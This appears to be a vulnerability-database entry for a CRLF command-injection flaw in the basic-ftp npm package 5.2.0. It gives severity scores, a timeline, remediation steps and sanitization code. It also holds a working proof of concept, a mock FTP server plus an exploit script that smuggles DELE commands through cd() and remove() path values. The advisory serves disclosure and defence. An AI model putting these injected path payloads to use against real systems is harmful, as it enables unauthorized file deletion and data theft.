What is the CVSS score of EUVD-2026-20976?

EUVD-2026-20976 has a CVSS 3.1 base score of 8.6 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L. EPSS exploitation probability: 1.2%.

Which versions of Node.js are affected by EUVD-2026-20976?

The basic-ftp npm package version 5.2.0 contains a critical command injection vulnerability that allows unauthenticated attackers to execute arbitrary FTP commands through maliciously crafted file…. A patch is available.

How to fix or mitigate EUVD-2026-20976?

Within 24 hours: Identify all applications and services using basic-ftp v5.2.0 across your environment via dependency scanning tools (npm audit, Snyk, or similar). Within 7 days: Upgrade all affected instances to basic-ftp v5.2.1 or later and redeploy affected applications; test FTP functionality in staging prior to production. Within 30 days: Conduct audit of FTP command logs for suspicious activity patterns indicating exploitation attempts; validate input sanitization practices in any custom FTP handling code.

Node.js EUVD-2026-20976

| CVE-2026-39983 HIGH

Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)

2026-04-08 https://github.com/patrickjuchli/basic-ftp

GHSA-chqc-8p9q-pq6q

Command Injection Node.js

8.6

CVSS 3.1 · Vendor: https://github.com/patrickjuchli/basic-ftp

Severity by source

Vendor (https://github.com/patrickjuchli/basic-ftp) PRIMARY

8.6 HIGH

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Red Hat

8.6 HIGH

qualitative

Primary rating from Vendor (https://github.com/patrickjuchli/basic-ftp).

CVSS VectorVendor: https://github.com/patrickjuchli/basic-ftp

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

Low

Integrity

High

Availability

Low

Lifecycle Timeline

EUVD ID Assigned

Apr 09, 2026 - 14:45 euvd

EUVD-2026-20976

Analysis Generated

Apr 09, 2026 - 14:45 vuln.today

Patch released

Apr 09, 2026 - 14:45 nvd

Patch available

CVE Published

Apr 08, 2026 - 20:02 nvd

HIGH 8.6

DescriptionCVE.org

Summary

basic-ftp version 5.2.0 allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.

Affected product

Product	Affected versions	Fixed version
basic-ftp (npm)	5.2.0 (confirmed)	no fix available as of 2026-04-04

Vulnerability details

CWE: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
CVSS 3.1: 8.6 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
Affected component: dist/Client.js, all path-handling methods via protectWhitespace() and send()

The vulnerability exists because of two interacting code patterns:

1. Inadequate path sanitization in protectWhitespace() (line 677):

javascript

async protectWhitespace(path) {
    if (!path.startsWith(" ")) {
        return path;  // No sanitization of \r\n characters
    }
    const pwd = await this.pwd();
    const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
    return absolutePathPrefix + path;
}

This function only handles leading whitespace. It does not strip or reject \r (0x0D) or \n (0x0A) characters anywhere in the path string.

2. Direct socket write in send() (FtpContext.js line 177):

javascript

send(command) {
    this._socket.write(command + "\r\n", this.encoding);
}

The send() method appends \r\n to the command and writes directly to the TCP socket. If the command string already contains \r\n sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.

Affected methods (all call protectWhitespace() → send()):

cd(path) → CWD ${path}
remove(path) → DELE ${path}
list(path) → LIST ${path}
downloadTo(localPath, remotePath) → RETR ${remotePath}
uploadFrom(localPath, remotePath) → STOR ${remotePath}
rename(srcPath, destPath) → RNFR ${srcPath} / RNTO ${destPath}
removeDir(path) → RMD ${path}

Technical impact

An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:

Arbitrary file deletion: Inject DELE /critical-file to delete files on the FTP server
Directory manipulation: Inject MKD or RMD commands to create/remove directories
File exfiltration: Inject RETR commands to trigger downloads of unintended files
Server command execution: On FTP servers supporting SITE EXEC, inject system commands
Session hijacking: Inject USER/PASS commands to re-authenticate as a different user
Service disruption: Inject QUIT to terminate the FTP session unexpectedly

The attack is realistic in applications that accept user input for FTP file paths - for example, web applications that allow users to specify files to download from or upload to an FTP server.

Proof of concept

Prerequisites:

bash

mkdir basic-ftp-poc && cd basic-ftp-poc
npm init -y
npm install basic-ftp@5.2.0

Mock FTP server (ftp-server-mock.js):

javascript

const net = require('net');
const server = net.createServer(conn => {
  console.log('[+] Client connected');
  conn.write('220 Mock FTP\r\n');
  let buffer = '';
  conn.on('data', data => {
    buffer += data.toString();
    const lines = buffer.split('\r\n');
    buffer = lines.pop();
    for (const line of lines) {
      if (!line) continue;
      console.log('[CMD] ' + JSON.stringify(line));
      if (line.startsWith('USER')) conn.write('331 OK\r\n');
      else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n');
      else if (line.startsWith('FEAT')) conn.write('211 End\r\n');
      else if (line.startsWith('TYPE')) conn.write('200 OK\r\n');
      else if (line.startsWith('PWD'))  conn.write('257 "/"\r\n');
      else if (line.startsWith('OPTS')) conn.write('200 OK\r\n');
      else if (line.startsWith('STRU')) conn.write('200 OK\r\n');
      else if (line.startsWith('CWD'))  conn.write('250 OK\r\n');
      else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n');
      else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); }
      else conn.write('200 OK\r\n');
    }
  });
});
server.listen(2121, () => console.log('[*] Mock FTP on port 2121'));

Exploit (poc.js):

javascript

const ftp = require('basic-ftp');

async function exploit() {
  const client = new ftp.Client();
  client.ftp.verbose = true;
  try {
    await client.access({
      host: '127.0.0.1',
      port: 2121,
      user: 'anonymous',
      password: 'anonymous'
    });

    // Attack 1: Inject DELE command via cd()
    // Intended: CWD harmless.txt
    // Actual:   CWD harmless.txt\r\nDELE /important-file.txt
    const maliciousPath = "harmless.txt\r\nDELE /important-file.txt";
    console.log('\n=== Attack 1: DELE injection via cd() ===');
    try { await client.cd(maliciousPath); } catch(e) {}

    // Attack 2: Double DELE via remove()
    const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt";
    console.log('\n=== Attack 2: DELE injection via remove() ===');
    try { await client.remove(maliciousPath2); } catch(e) {}

  } finally {
    client.close();
  }
}
exploit();

Running the PoC:

bash

# Terminal 1: Start mock FTP server
node ftp-server-mock.js
# Terminal 2: Run exploit
node poc.js

Expected output on mock server:

"OPTS UTF8 ON"
"USER anonymous"
"PASS anonymous"
"FEAT"
"TYPE I"
"STRU F"
"OPTS UTF8 ON"
"CWD harmless.txt"
"DELE /important-file.txt"   <-- injected from cd()
"DELE decoy.txt"
"DELE /secret-data.txt"      <-- injected from remove()
"QUIT"

This command trace was reproduced against the published basic-ftp@5.2.0 package on Linux with a local mock FTP server. The injected DELE commands are received as distinct FTP commands, confirming that CRLF inside path parameters is not neutralized before socket write.

Mitigation

Immediate workaround: Sanitize all path inputs before passing them to basic-ftp:

javascript

function sanitizeFtpPath(path) {
  if (/[\r\n]/.test(path)) {
    throw new Error('Invalid FTP path: contains control characters');
  }
  return path;
}

// Usage
await client.cd(sanitizeFtpPath(userInput));

Recommended fix for basic-ftp: The protectWhitespace() function (or a new validation layer) should reject or strip \r and \n characters from all path inputs:

javascript

async protectWhitespace(path) {
    // Reject CRLF injection attempts
    if (/[\r\n\0]/.test(path)) {
        throw new Error('Invalid path: contains control characters');
    }
    if (!path.startsWith(" ")) {
        return path;
    }
    const pwd = await this.pwd();
    const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
    return absolutePathPrefix + path;
}

References

AnalysisAI

Command injection in basic-ftp npm package v5.2.0 allows unauthenticated remote attackers to inject arbitrary FTP protocol commands via CRLF sequences in file path parameters. Affected methods include cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). Inadequate input sanitization in protectWhitespace() combined with direct socket writes enables attackers to split single FTP commands into multiple commands, leading to unauthorized file deletion, directory manipulation, file exfiltration, or session hijacking. Vendor-released patch available in version 5.2.1. No public exploit identified at time of analysis. EPSS unavailable.

Technical ContextAI

The vulnerability stems from protectWhitespace() only checking leading spaces while allowing embedded \r\n characters, combined with FtpContext.send() directly concatenating user input with \r\n delimiters before socket write. FTP servers interpret embedded CRLF as command boundaries, fragmenting CWD, DELE, STOR, RETR, and other protocol commands. CWE-93 classification reflects improper neutralization of CRLF sequences in protocol command construction.

RemediationAI

Vendor-released patch: upgrade to basic-ftp version 5.2.1 or later, which rejects control characters in path inputs (commit 2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b). Release notes available at https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1. For applications unable to upgrade immediately, implement input validation wrapper to reject any path containing \r, \n, or \0 characters before passing to basic-ftp methods. Example: if (/[\r\n]/.test(path)) throw new Error('Invalid path'). Review vendor security advisory at https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q for additional context. Audit application code for user-controlled path inputs passed to FTP operations.